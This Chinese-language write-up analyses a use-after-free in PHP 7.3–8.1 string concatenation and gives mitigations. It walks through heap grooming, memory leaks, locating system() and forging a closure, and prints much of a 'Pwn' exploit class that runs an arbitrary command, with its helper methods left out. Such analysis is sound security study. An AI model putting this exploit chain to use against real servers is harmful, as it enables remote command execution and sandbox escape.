PHP的concat操作导致的UAF利用脚本分析
字数 1012 2025-08-27 12:33:31
PHP字符串连接操作UAF漏洞分析与利用
漏洞概述
PHP 7.3-8.1版本中存在一个由于字符串连接操作(concat)导致的Use-After-Free(UAF)漏洞。当连接操作的参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF条件。
漏洞原理
触发条件
$my_var = str_repeat("a", 1);
set_error_handler(function() use (&$my_var) {
echo("error\n");
$my_var = 0x123;
});
$my_var .= [0];
漏洞分析
-
错误处理流程:
- 当执行
$my_var .= [0]时,PHP尝试将数组转换为字符串 - 由于数组不能直接转换为字符串,触发错误处理
- 在错误处理回调中修改了
$my_var的值,导致原始字符串资源被释放
- 当执行
-
内存管理细节:
- PHP使用
zend_mm内存管理器,采用大小规格(small/large/huge)分配策略 - 字符串和数组结构可能分配到相同大小的内存块
- 释放后的内存块被放入空闲链表,可能被后续分配重用
- PHP使用
-
UAF形成:
- 错误处理中释放了原始字符串的内存
- 后续操作仍可能访问已释放的内存区域
- 通过精心构造可以控制释放后的内存内容
利用技术
利用步骤
- 堆风水(Heap Feng Shui):
- 预先分配和释放特定大小的内存块
- 控制堆布局使目标对象分配到特定位置
for($i = 0; $i < 10; $i++) {
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
- 触发UAF:
- 通过字符串连接操作触发错误处理
- 在回调中释放目标对象并分配可控数据
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 2;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
- 信息泄露:
- 利用释放后重用读取关键数据结构地址
- 包括对象句柄、类指针、函数表等
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
- 函数地址解析:
- 通过模块结构遍历找到标准函数表
- 定位关键函数如
system()的地址
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) { // "system"
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
- 伪造闭包对象:
- 复制原始闭包结构到可控内存区域
- 修改关键字段如处理函数指针
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
- 执行任意命令:
- 通过修改后的闭包对象调用目标函数
- 实现任意命令执行
($this->helper->b)($cmd);
关键数据结构
-
zend_string结构:
struct _zend_string { zend_refcounted_h gc; zend_ulong h; // hash value size_t len; char val[1]; }; -
zend_object结构:
struct _zend_object { zend_refcounted_h gc; uint32_t handle; zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; }; -
zend_closure结构:
typedef struct _zend_closure { zend_object std; zend_function func; zval this_ptr; zend_class_entry *called_scope; zif_handler orig_internal_handler; } zend_closure;
利用限制
- PHP版本:仅影响PHP 7.3-8.1版本
- 内存布局:依赖精确的堆布局控制
- 防护机制:可能被ASLR等安全机制干扰
防护建议
- 及时升级到PHP安全版本
- 禁用危险函数或使用disable_functions限制
- 启用内存保护机制如ASLR、DEP
完整利用代码
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
// 堆风水准备
for($i = 0; $i < 10; $i++) {
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
// 触发UAF并泄露信息
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
$fill = self::alloc(self::STRING_SIZE);
// 计算目标地址并释放
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
$this->free($abc_addr);
// 分配Helper对象到释放的空间
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
// 设置Helper属性
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
// 读取关键地址
$helper_handlers = $this->rel_read(0);
$closure_addr = $this->rel_read(0x20);
$closure_ce = $this->read($closure_addr + 0x10);
// 定位system函数
$basic_funcs = $this->get_basic_funcs($closure_ce);
$zif_system = $this->get_system($basic_funcs);
// 伪造闭包对象
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
// 执行命令
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
// 恢复原始闭包
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
// 其他辅助方法...
}
总结
该漏洞利用PHP字符串连接操作的特殊错误处理路径,结合堆内存管理特性,实现了从UAF到任意代码执行的完整利用链。理解该漏洞需要对PHP内部数据结构、内存管理和函数调用机制有深入认识。防护此类漏洞需要及时更新PHP版本并实施适当的安全加固措施。